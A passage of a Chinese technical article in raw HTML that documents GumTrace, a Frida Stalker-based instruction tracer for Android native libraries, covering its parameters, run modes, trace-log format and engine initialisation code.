normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">参数</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_names</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">要追踪的模块名，多个用逗号分隔，如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">&#34;libtarget.so,libutils.so&#34;</span></code></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">trace_file_path</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">日志输出文件路径</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">thread_id</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">要追踪的线程ID，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0</span></code><span leaf="">表示追踪调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">run()</span></code><span leaf="">的当前线程</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">options</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">选项结构体，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mode</span></code><span leaf="">字段控制运行模式</span></p></td></tr></tbody></table><p data-line="257" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">运行模式：</span></strong></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">模式</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">值</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">行为</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Stand</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">0</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">标准模式，每20秒刷写一次日志，适合大规模追踪</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">DEBUG</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">1</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">调试模式，每20条指令刷写，日志实时可见</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Stable</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">稳定模式，启用内存范围检查和较高的trust阈值，降低崩溃风险</span></p></td></tr></tbody></table><h2 data-line="265" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4 日志格式</span></h2><p data-line="267" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">理解日志格式是后续分析的基础。GumTrace生成的日志是纯文本格式，每条指令占若干行。</span></p><h3 data-line="269" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4.1 指令行</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="271" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">[模块名] 0x绝对地址!0x相对偏移 助记符 操作数; 寄存器名=值 mem_r=地址 mem_w=地址</span></code></pre><p data-line="275" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">分号前是指令本身的信息（模块、地址、反汇编），分号后是运行时状态（寄存器值、内存访问地址）。</span></p><h3 data-line="277" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4.2 写回行</span></h3><p data-line="279" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对于有写操作的指令（如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ldr</span></code><span leaf="">加载、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">add</span></code><span leaf="">计算），紧跟一行以</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-&gt;</span></code><span leaf="">开头的写回行，记录指令执行后目标寄存器的新值：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="281" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">[libtarget.so] 0x7a3c001890!0x1890 ldr x0, [x1, <a class="wx_topic_link" topic-id="mny050nm-aakq51" style="color: #576B95 !important;" data-topic="1" data-recommend="">#0x10</a>]; x1=0x7a3c050000 mem_r=0x7a3c050010</span><br/><span leaf="">-&gt; x0=0x12345678</span></code></pre><p data-line="286" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这种分行设计使得日志解析器可以精确区分指令执行前后的寄存器状态，为污点分析提供完备的数据流信息。</span></p><h3 data-line="288" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4.3 函数调用行</span></h3><p data-line="290" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当检测到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BL/BLR/BR/B</span></code><span leaf="">指令且跳转目标是已知符号时，生成函数调用记录：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="292" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">call func: strcmp(0x7a3c050010, 0x7a3c060000)</span><br/><span leaf="">args0: hello</span><br/><span leaf="">args1: world</span><br/><span leaf="">ret: 0xffffffffffffffff</span></code></pre><p data-line="299" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对于JNI调用，格式略有不同：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="301" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">call jni func: FindClass(0x7a3c000100, 0x7a3c070000)</span><br/><span leaf="">args1: com/example/MyClass</span><br/><span leaf="">ret: 0x7a3c080000</span></code></pre><h3 data-line="307" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4.4 系统调用行</span></h3><p data-line="309" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">SVC指令触发的系统调用，通过x8寄存器中的系统调用号匹配函数名：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="311" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">[libtarget.so] 0x7a3c002000!0x2000 svc <a class="wx_topic_link" topic-id="mny050nm-90ss4h" style="color: #576B95 !important;" data-topic="1" data-recommend="">#0</a>; x8=0x40 ...</span><br/><span leaf="">call func: openat(0xffffff9c, 0x7a3c090000, 0x0, 0x0)</span><br/><span leaf="">args1: /proc/self/maps</span><br/><span leaf="">ret: 0x3</span></code></pre><h2 data-line="318" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5 初始化流程</span></h2><p data-line="320" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init()</span></code><span leaf="">函数是整个追踪器的启动入口，它完成从引擎创建到模块枚举的全部准备工作。源码位于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/main.cpp</span></code><span leaf="">。</span></p><h3 data-line="322" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.1 Gum引擎与Stalker创建</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="324" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">gum_init();</span><br/><span leaf="">GumTrace *instance = GumTrace::get_instance();</span><br/><span leaf="">instance-&gt;_stalker = gum_stalker_new();</span><br/><span leaf="">gum_stalker_set_trust_threshold(instance-&gt;_stalker, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">gum_stalker_set_ratio(instance-&gt;_stalker, </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">);</span></code></pre><p data-line="333" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">gum_init()</span></code><span leaf="">初始化Frida Gum运行时。随后创建Stalker实例——这是Frida的代码追踪引擎，它通过动态重编译（JIT）目标代码来实现插桩。</span></p><p data-line="335" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">两个关键参数：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">trust_threshold</span></strong><p><span leaf="">：设为0表示永不信任已编译的代码块，每次执行都重新编译。这保证了追踪的完整性，但会降低性能。</span></p></li><li style=""><strong><span leaf="">ratio</span></strong><p><span 